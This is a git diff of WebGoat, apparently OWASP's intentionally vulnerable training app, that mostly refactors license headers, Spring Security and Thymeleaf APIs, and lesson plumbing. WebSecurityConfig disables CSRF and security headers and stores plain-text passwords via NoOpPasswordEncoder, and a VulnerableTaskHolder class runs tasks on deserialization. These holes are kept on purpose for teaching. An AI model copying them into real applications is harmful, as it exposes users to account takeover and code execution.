this.page.getByRole(AriaRole.LINK, new Page.GetByRoleOptions().setName("Sign out"));
}
public void open() {
page.navigate(webWolfURL("login"));
}
public void login(String username, String password) {
page.getByPlaceholder("Username WebGoat").fill(username);
page.getByPlaceholder("Password WebGoat").fill(password);
signInButton.click();
}
public void logout() {
this.signOutButton.click();
}
}

View File

@ -1,3 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.dummy.insecure.framework;
import java.io.BufferedReader;
@ -38,8 +42,6 @@ public class VulnerableTaskHolder implements Serializable {
/**
* Execute a task when de-serializing a saved or received object.
*
* @author stupid develop
*/
private void readObject(ObjectInputStream stream) throws Exception {
// unserialize data so taskName and taskAction are available

View File

@ -1,44 +1,16 @@
/**
* *************************************************************************************************
*
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
/*
* SPDX-FileCopyrightText: Copyright © 2008 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.security.core.AuthenticationException;
import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;
/**
* AjaxAuthenticationEntryPoint class.
*
* @author zupzup
*/
public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoint {
public AjaxAuthenticationEntryPoint(String loginFormUrl) {
super(loginFormUrl);

View File

@ -1,53 +1,28 @@
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* <p>
*
* @author WebGoat
* @version $Id: $Id
* @since December 12, 2015
/*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import static org.asciidoctor.Asciidoctor.Factory.create;
import io.undertow.util.Headers;
import jakarta.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.StringWriter;
import java.util.HashMap;
import java.util.Locale;
import java.util.Map;
import java.util.Set;
import javax.servlet.http.HttpServletRequest;
import lombok.extern.slf4j.Slf4j;
import org.asciidoctor.Asciidoctor;
import org.asciidoctor.Attributes;
import org.asciidoctor.Options;
import org.asciidoctor.extension.JavaExtensionRegistry;
import org.owasp.webgoat.container.asciidoc.*;
import org.owasp.webgoat.container.i18n.Language;
import org.springframework.core.io.ResourceLoader;
import org.springframework.http.HttpHeaders;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.i18n.SessionLocaleResolver;
@ -60,7 +35,7 @@ import org.thymeleaf.templateresource.StringTemplateResource;
* Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file:
*
* <p><code>
* <div th:replace="doc:AccessControlMatrix_plan.adoc"></div>
* <div th:replace="~{doc:AccessControlMatrix_plan.adoc}"></div>
* </code>
*/
@Slf4j
@ -135,17 +110,17 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
return computedResourceName;
}
private Map<String, Object> createAttributes() {
Map<String, Object> attributes = new HashMap<>();
attributes.put("source-highlighter", "coderay");
attributes.put("backend", "xhtml");
attributes.put("lang", determineLanguage());
attributes.put("icons", org.asciidoctor.Attributes.FONT_ICONS);
private Options createAttributes() {
Map<String, Object> options = new HashMap<>();
options.put("attributes", attributes);
return options;
return Options.builder()
.attributes(
Attributes.builder()
.attribute("source-highlighter", "coderay")
.attribute("backend", "xhtml")
.attribute("lang", determineLanguage())
.attribute("icons", org.asciidoctor.Attributes.FONT_ICONS)
.build())
.build();
}
private String determineLanguage() {
@ -159,7 +134,7 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
log.debug("browser locale {}", browserLocale);
return browserLocale.getLanguage();
} else {
String langHeader = request.getHeader(Headers.ACCEPT_LANGUAGE_STRING);
String langHeader = request.getHeader(HttpHeaders.ACCEPT_LANGUAGE);
if (null != langHeader) {
log.debug("browser locale {}", langHeader);
return langHeader.substring(0, 2);

View File

@ -0,0 +1,18 @@
/*
* SPDX-FileCopyrightText: Copyright © 2017 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.lang.annotation.Documented;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import org.springframework.security.core.annotation.AuthenticationPrincipal;
@Target({ElementType.PARAMETER, ElementType.TYPE})
@Retention(RetentionPolicy.RUNTIME)
@Documented
@AuthenticationPrincipal
public @interface CurrentUser {}

View File

@ -0,0 +1,18 @@
/*
* SPDX-FileCopyrightText: Copyright © 2024 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.lang.annotation.Documented;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import org.springframework.security.core.annotation.AuthenticationPrincipal;
@Target({ElementType.PARAMETER, ElementType.TYPE})
@Retention(RetentionPolicy.RUNTIME)
@Documented
@AuthenticationPrincipal(expression = "#this.getUsername()")
public @interface CurrentUsername {}

View File

@ -1,3 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.util.Map;
@ -6,8 +10,8 @@ import javax.sql.DataSource;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.flywaydb.core.Flyway;
import org.owasp.webgoat.container.lessons.LessonScanner;
import org.owasp.webgoat.container.service.RestartLessonService;
import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@ -20,7 +24,6 @@ import org.springframework.jdbc.datasource.DriverManagerDataSource;
public class DatabaseConfiguration {
private final DataSourceProperties properties;
private final LessonScanner lessonScanner;
@Bean
@Primary
@ -36,8 +39,8 @@ public class DatabaseConfiguration {
/**
* Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users
* and 1 for lesson specific tables we use. This way we clean the data in the lesson database
* quite easily see {@link RestartLessonService#restartLesson()} for how we clean the lesson
* related tables.
* quite easily see {@link RestartLessonService#restartLesson(String, WebGoatUser)} for how we
* clean the lesson related tables.
*/
@Bean(initMethod = "migrate")
public Flyway flyWayContainer() {
@ -50,18 +53,19 @@ public class DatabaseConfiguration {
}
@Bean
public Function<String, Flyway> flywayLessons(LessonDataSource lessonDataSource) {
public Function<String, Flyway> flywayLessons() {
return schema ->
Flyway.configure()
.configuration(Map.of("driver", properties.getDriverClassName()))
.schemas(schema)
.dataSource(lessonDataSource)
.cleanDisabled(false)
.dataSource(dataSource())
.locations("lessons")
.load();
}
@Bean
public LessonDataSource lessonDataSource() {
return new LessonDataSource(dataSource());
public LessonDataSource lessonDataSource(DataSource dataSource) {
return new LessonDataSource(dataSource);
}
}

View File

@ -1,3 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2008 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import lombok.AllArgsConstructor;
@ -7,39 +11,6 @@ import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.servlet.ModelAndView;
/**
* *************************************************************************************************
*
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author Jeff Williams
* @author Bruce Mayhew
* @author Nanne Baars
* @version $Id: $Id
* @since October 28, 2003
*/
@Controller
@AllArgsConstructor
public class HammerHead {

View File

@ -1,3 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2021 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.io.PrintWriter;

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat.container.lessons;
/*
* SPDX-FileCopyrightText: Copyright © 2024 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.io.IOException;
import java.util.HashSet;
@ -12,13 +16,13 @@ import org.springframework.stereotype.Component;
@Component
@Slf4j
public class LessonScanner {
public class LessonResourceScanner {
private static final Pattern lessonPattern = Pattern.compile("^.*/lessons/([^/]*)/.*$");
@Getter private final Set<String> lessons = new HashSet<>();
public LessonScanner(ResourcePatternResolver resourcePatternResolver) {
public LessonResourceScanner(ResourcePatternResolver resourcePatternResolver) {
try {
var resources = resourcePatternResolver.getResources("classpath:/lessons/*/*");
for (var resource : resources) {

View File

@ -1,33 +1,6 @@
/**
* ************************************************************************************************
*
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author WebGoat
* @version $Id: $Id
* @since October 28, 2003
/*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
@ -55,8 +28,8 @@ import org.thymeleaf.templateresource.StringTemplateResource;
public class LessonTemplateResolver extends FileTemplateResolver {
private static final String PREFIX = "lesson:";
private ResourceLoader resourceLoader;
private Map<String, byte[]> resources = new HashMap<>();
private final ResourceLoader resourceLoader;
private final Map<String, byte[]> resources = new HashMap<>();
public LessonTemplateResolver(ResourceLoader resourceLoader) {
this.resourceLoader = resourceLoader;
@ -74,17 +47,26 @@ public class LessonTemplateResolver extends FileTemplateResolver {
var templateName = resourceName.substring(PREFIX.length());
byte[] resource = resources.get(templateName);
if (resource == null) {
try {
resource =
resourceLoader
.getResource("classpath:/" + templateName)
.getInputStream()
.readAllBytes();
} catch (IOException e) {
log.error("Unable to find lesson HTML: {}", template);
}
resources.put(templateName, resource);
resource = loadAndCache(templateName);
}
if (resource == null) {
return new StringTemplateResource("Unable to find lesson HTML: %s".formatted(templateName));
}
return new StringTemplateResource(new String(resource, StandardCharsets.UTF_8));
}
private byte[] loadAndCache(String templateName) {
try {
var resource =
resourceLoader.getResource("classpath:/" + templateName).getInputStream().readAllBytes();
resources.put(templateName, resource);
return resource;
} catch (IOException e) {
log.error(
"Unable to find lesson HTML: '{}', does the name of HTML file name match the lesson class name?",
templateName);
return null;
}
}
}

View File

@ -1,33 +1,6 @@
/**
* ************************************************************************************************
*
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author WebGoat
* @version $Id: $Id
* @since October 28, 2003
/*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
@ -40,7 +13,6 @@ import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.container.i18n.Language;
import org.owasp.webgoat.container.i18n.Messages;
import org.owasp.webgoat.container.i18n.PluginMessages;
import org.owasp.webgoat.container.lessons.LessonScanner;
import org.owasp.webgoat.container.session.LabelDebugger;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.Bean;
@ -56,10 +28,10 @@ import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
import org.springframework.web.servlet.i18n.LocaleChangeInterceptor;
import org.springframework.web.servlet.i18n.SessionLocaleResolver;
import org.thymeleaf.IEngineConfiguration;
import org.thymeleaf.extras.springsecurity5.dialect.SpringSecurityDialect;
import org.thymeleaf.spring5.SpringTemplateEngine;
import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver;
import org.thymeleaf.spring5.view.ThymeleafViewResolver;
import org.thymeleaf.extras.springsecurity6.dialect.SpringSecurityDialect;
import org.thymeleaf.spring6.SpringTemplateEngine;
import org.thymeleaf.spring6.templateresolver.SpringResourceTemplateResolver;
import org.thymeleaf.spring6.view.ThymeleafViewResolver;
import org.thymeleaf.templatemode.TemplateMode;
import org.thymeleaf.templateresolver.FileTemplateResolver;
import org.thymeleaf.templateresolver.ITemplateResolver;
@ -74,14 +46,13 @@ public class MvcConfiguration implements WebMvcConfigurer {
private static final String UTF8 = "UTF-8";
private final LessonScanner lessonScanner;
private final LessonResourceScanner lessonScanner;
@Override
public void addViewControllers(ViewControllerRegistry registry) {
registry.addViewController("/login").setViewName("login");
registry.addViewController("/lesson_content").setViewName("lesson_content");
registry.addViewController("/start.mvc").setViewName("main_new");
registry.addViewController("/scoreboard").setViewName("scoreboard");
}
@Bean
@ -242,6 +213,7 @@ public class MvcConfiguration implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(localeChangeInterceptor());
registry.addInterceptor(new UserInterceptor());
}
@Bean

View File

@ -0,0 +1,57 @@
/*
* SPDX-FileCopyrightText: Copyright © 2023 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.owasp.webgoat.container.asciidoc.EnvironmentExposure;
import org.springframework.core.env.Environment;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
public class UserInterceptor implements HandlerInterceptor {
private Environment env = EnvironmentExposure.getEnv();
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {
// Do nothing
return true;
}
@Override
public void postHandle(
HttpServletRequest request,
HttpServletResponse response,
Object handler,
ModelAndView modelAndView)
throws Exception {
if (null != modelAndView) {
Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
if (null != authentication) {
modelAndView.getModel().put("username", authentication.getName());
}
if (null != env) {
String githubClientId =
env.getProperty("spring.security.oauth2.client.registration.github.client-id");
if (null != githubClientId && !githubClientId.equals("dummy")) {
modelAndView.getModel().put("oauth", Boolean.TRUE);
}
} else {
modelAndView.getModel().put("oauth", Boolean.FALSE);
}
}
}
@Override
public void afterCompletion(
HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex)
throws Exception {
// Do nothing
}
}

View File

@ -1,53 +1,29 @@
/**
* ************************************************************************************************
*
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author WebGoat
* @version $Id: $Id
* @since October 28, 2003
/*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.io.File;
import org.owasp.webgoat.container.session.UserSessionData;
import org.owasp.webgoat.container.session.WebSession;
import org.owasp.webgoat.container.session.LessonSession;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.boot.autoconfigure.domain.EntityScan;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.ComponentScan;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.PropertySource;
import org.springframework.context.annotation.Scope;
import org.springframework.context.annotation.ScopedProxyMode;
import org.springframework.data.jpa.repository.config.EnableJpaRepositories;
import org.springframework.web.client.RestTemplate;
@Configuration
@ComponentScan(basePackages = {"org.owasp.webgoat.container", "org.owasp.webgoat.lessons"})
@PropertySource("classpath:application-webgoat.properties")
@EnableAutoConfiguration
@EnableJpaRepositories(basePackages = {"org.owasp.webgoat.container"})
@EntityScan(basePackages = "org.owasp.webgoat.container")
public class WebGoat {
@Bean(name = "pluginTargetDirectory")
@ -57,14 +33,8 @@ public class WebGoat {
@Bean
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
public WebSession webSession() {
return new WebSession();
}
@Bean
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
public UserSessionData userSessionData() {
return new UserSessionData("test", "data");
public LessonSession userSessionData() {
return new LessonSession();
}
@Bean

View File

@ -1,32 +1,6 @@
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* <p>
*
* @author WebGoat
* @version $Id: $Id
* @since December 12, 2015
/*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
@ -35,52 +9,61 @@ import org.owasp.webgoat.container.users.UserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Primary;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.authentication.configuration.AuthenticationConfiguration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.crypto.password.NoOpPasswordEncoder;
import org.springframework.security.web.SecurityFilterChain;
/** Security configuration for WebGoat. */
@Configuration
@AllArgsConstructor
@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
public class WebSecurityConfig {
private final UserService userDetailsService;
@Override
protected void configure(HttpSecurity http) throws Exception {
ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security =
http.authorizeRequests()
.antMatchers(
"/css/**",
"/images/**",
"/js/**",
"fonts/**",
"/plugins/**",
"/registration",
"/register.mvc",
"/actuator/**")
.permitAll()
.anyRequest()
.authenticated();
security
.and()
.formLogin()
.loginPage("/login")
.defaultSuccessUrl("/welcome.mvc", true)
.usernameParameter("username")
.passwordParameter("password")
.permitAll();
security.and().logout().deleteCookies("JSESSIONID").invalidateHttpSession(true);
security.and().csrf().disable();
http.headers().cacheControl().disable();
http.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login"));
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
return http.authorizeHttpRequests(
auth ->
auth.requestMatchers(
"/favicon.ico",
"/css/**",
"/images/**",
"/js/**",
"fonts/**",
"/plugins/**",
"/registration",
"/register.mvc",
"/actuator/**")
.permitAll()
.anyRequest()
.authenticated())
.formLogin(
login ->
login
.loginPage("/login")
.defaultSuccessUrl("/welcome.mvc", true)
.usernameParameter("username")
.passwordParameter("password")
.permitAll())
.oauth2Login(
oidc -> {
oidc.defaultSuccessUrl("/login-oauth.mvc");
oidc.loginPage("/login");
})
.logout(logout -> logout.deleteCookies("JSESSIONID").invalidateHttpSession(true))
.csrf(csrf -> csrf.disable())
.headers(headers -> headers.disable())
.exceptionHandling(
handling ->
handling.authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login")))
.build();
}
@Autowired
@ -89,18 +72,17 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
}
@Bean
@Override
public UserDetailsService userDetailsServiceBean() throws Exception {
@Primary
public UserDetailsService userDetailsServiceBean() {
return userDetailsService;
}
@Override
@Bean
protected AuthenticationManager authenticationManager() throws Exception {
return super.authenticationManager();
public AuthenticationManager authenticationManager(
AuthenticationConfiguration authenticationConfiguration) throws Exception {
return authenticationConfiguration.getAuthenticationManager();
}
@SuppressWarnings("deprecation")
@Bean
public NoOpPasswordEncoder passwordEncoder() {
return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance();

View File

@ -1,3 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import lombok.RequiredArgsConstructor;

View File

@ -1,3 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2018 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc;
import org.springframework.beans.BeansException;
@ -16,7 +20,7 @@ public class EnvironmentExposure implements ApplicationContextAware {
private static ApplicationContext context;
public static Environment getEnv() {
return context.getEnvironment();
return null != context ? context.getEnvironment() : null;
}
@Override

View File

@ -1,7 +1,12 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc;
import java.util.Map;
import org.asciidoctor.ast.ContentNode;
import org.asciidoctor.ast.PhraseNode;
import org.asciidoctor.ast.StructuralNode;
import org.asciidoctor.extension.InlineMacroProcessor;
public class OperatingSystemMacro extends InlineMacroProcessor {
@ -15,7 +20,8 @@ public class OperatingSystemMacro extends InlineMacroProcessor {
}
@Override
public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
public PhraseNode process(
StructuralNode contentNode, String target, Map<String, Object> attributes) {
var osName = System.getProperty("os.name");
// see

View File

@ -1,7 +1,12 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc;
import java.util.Map;
import org.asciidoctor.ast.ContentNode;
import org.asciidoctor.ast.PhraseNode;
import org.asciidoctor.ast.StructuralNode;
import org.asciidoctor.extension.InlineMacroProcessor;
import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.security.core.context.SecurityContextHolder;
@ -17,7 +22,8 @@ public class UsernameMacro extends InlineMacroProcessor {
}
@Override
public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
public PhraseNode process(
StructuralNode contentNode, String target, Map<String, Object> attributes) {
var auth = SecurityContextHolder.getContext().getAuthentication();
var username = "unknown";
if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) {

View File

@ -1,7 +1,12 @@
/*
* SPDX-FileCopyrightText: Copyright © 2018 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc;
import java.util.Map;
import org.asciidoctor.ast.ContentNode;
import org.asciidoctor.ast.PhraseNode;
import org.asciidoctor.ast.StructuralNode;
import org.asciidoctor.extension.InlineMacroProcessor;
public class WebGoatTmpDirMacro extends InlineMacroProcessor {
@ -15,11 +20,12 @@ public class WebGoatTmpDirMacro extends InlineMacroProcessor {
}
@Override
public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
public PhraseNode process(
StructuralNode structuralNode, String target, Map<String, Object> attributes) {
var env = EnvironmentExposure.getEnv().getProperty("webgoat.server.directory");
// see
// https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
return createPhraseNode(contentNode, "quoted", env);
return createPhraseNode(structuralNode, "quoted", env);
}
}

View File

@ -1,7 +1,12 @@
/*
* SPDX-FileCopyrightText: Copyright © 2018 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc;
import java.util.Map;
import org.asciidoctor.ast.ContentNode;
import org.asciidoctor.ast.PhraseNode;
import org.asciidoctor.ast.StructuralNode;
import org.asciidoctor.extension.InlineMacroProcessor;
public class WebGoatVersionMacro extends InlineMacroProcessor {
@ -15,7 +20,8 @@ public class WebGoatVersionMacro extends InlineMacroProcessor {
}
@Override
public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
public PhraseNode process(
StructuralNode contentNode, String target, Map<String, Object> attributes) {
var webgoatVersion = EnvironmentExposure.getEnv().getProperty("webgoat.build.version");
// see

View File

@ -1,12 +1,14 @@
/*
* SPDX-FileCopyrightText: Copyright © 2018 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc;
import java.util.HashMap;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import org.asciidoctor.ast.ContentNode;
import org.asciidoctor.ast.PhraseNode;
import org.asciidoctor.ast.StructuralNode;
import org.asciidoctor.extension.InlineMacroProcessor;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
/**
* Usage in asciidoc:
@ -24,9 +26,10 @@ public class WebWolfMacro extends InlineMacroProcessor {
}
@Override
public Object process(ContentNode contentNode, String linkText, Map<String, Object> attributes) {
public PhraseNode process(
StructuralNode contentNode, String linkText, Map<String, Object> attributes) {
var env = EnvironmentExposure.getEnv();
var hostname = determineHost(env.getProperty("webwolf.port"));
var hostname = env.getProperty("webwolf.url");
var target = (String) attributes.getOrDefault("target", "home");
var href = hostname + "/" + target;
@ -39,35 +42,10 @@ public class WebWolfMacro extends InlineMacroProcessor {
